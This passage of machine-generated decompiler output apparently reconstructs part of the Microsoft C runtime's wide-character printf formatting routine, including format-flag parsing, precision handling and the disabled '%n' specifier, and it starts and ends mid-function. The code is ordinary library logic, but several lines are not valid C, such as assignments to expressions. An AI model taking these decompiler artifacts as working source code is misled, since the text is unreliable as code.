																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43ca00; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C9C4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428310(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf9b80f80
																					E00424670(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0xfe6faf80
																							E00424670(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xfe6d6f80
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE00(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE00(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B540(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428310(__ebp + 0x14);
																			__eax = E00433EC0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E330();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																				__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADD0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE00(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E004311D0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428310(__ebp + 0x14);
																								__ax = __eax;
